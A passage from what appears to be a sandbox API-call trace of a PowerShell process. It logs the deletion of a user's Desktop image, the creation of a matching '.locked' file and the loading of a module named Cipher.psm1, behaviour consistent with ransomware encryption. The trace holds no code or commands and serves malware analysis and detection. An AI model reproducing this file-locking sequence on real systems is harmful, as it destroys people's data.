lpOldMode=0x99ae448) returned 1 [0127.977] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.977] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg\\", lpFilePart=0x0) returned 0x28 [0127.978] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0127.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0127.978] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.978] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.978] CoTaskMemFree (pv=0x8ebb8c8) [0127.979] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0127.979] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.979] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0127.979] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg"), fInfoLevelId=0x0, lpFileInformation=0x693a7c4 | out: lpFileInformation=0x693a7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b083de0, ftCreationTime.dwHighDateTime=0x1d4a5d6, ftLastAccessTime.dwLowDateTime=0x9f9b4860, ftLastAccessTime.dwHighDateTime=0x1d4a677, ftLastWriteTime.dwLowDateTime=0x9f9b4860, ftLastWriteTime.dwHighDateTime=0x1d4a677, nFileSizeHigh=0x0, nFileSizeLow=0xc054)) returned 1 [0127.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0127.979] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 1 [0127.982] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.982] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xd600\x43b") returned 0x0 [0127.982] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.982] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.982] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.984] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg.locked")) returned 0x20 [0127.984] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg.locked")) returned 0x20 [0127.984] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", lpFilePart=0x0) returned 0x2e [0127.984] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", lpFilePart=0x0) returned 0x2e [0127.984] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.985] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.985] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.985] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.985] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.989] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.990] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.990] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.990] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.990] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.993] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.993] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.993] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.993] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.993] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.997] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.997] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.997] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.999] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.000] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.000] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.000] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.000] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.003] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x6948330 | out: lpFileInformation=0x6948330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8023a9, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf8023a9, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf8023a9, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xc074)) returned 1 [0128.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", lpFilePart=0x0) returned 0x2e [0128.006] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0128.006] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.006] CloseHandle (hObject=0x868) returned 1 [0128.009] GetConsoleOutputCP () returned 0x1b5 [0128.012] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.012] GetConsoleOutputCP () returned 0x1b5 [0128.012] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.012] GetConsoleOutputCP () returned 0x1b5 [0128.013] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.013] GetConsoleOutputCP () returned 0x1b5 [0128.013] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.013] GetConsoleOutputCP () returned 0x1b5 [0128.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.014] GetConsoleOutputCP () returned 0x1b5 [0128.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.014] GetConsoleOutputCP () returned 0x1b5 [0128.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.015] GetConsoleOutputCP () returned 0x1b5 [0128.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.015] GetConsoleOutputCP () returned 0x1b5 [0128.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.015] GetConsoleOutputCP () returned 0x1b5 [0128.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.016] GetConsoleOutputCP () returned 0x1b5 [0128.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.016] GetConsoleOutputCP () returned 0x1b5 [0128.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.017] GetConsoleOutputCP () returned 0x1b5 [0128.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.017] GetConsoleOutputCP () returned 0x1b5 [0128.018] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.018] GetConsoleOutputCP () returned 0x1b5 [0128.018] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.018] GetConsoleOutputCP () returned 0x1b5 [0128.019] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.019] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.019] GetConsoleOutputCP () returned 0x1b5 [0128.020] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.020] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.020] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x696f85c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x696f85c*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.021] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.021] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.026] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.026] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.027] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x5b00\x690\x5bd0\x690\x5b88\x690\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.028] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.028] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.028] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.028] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.029] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.029] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, 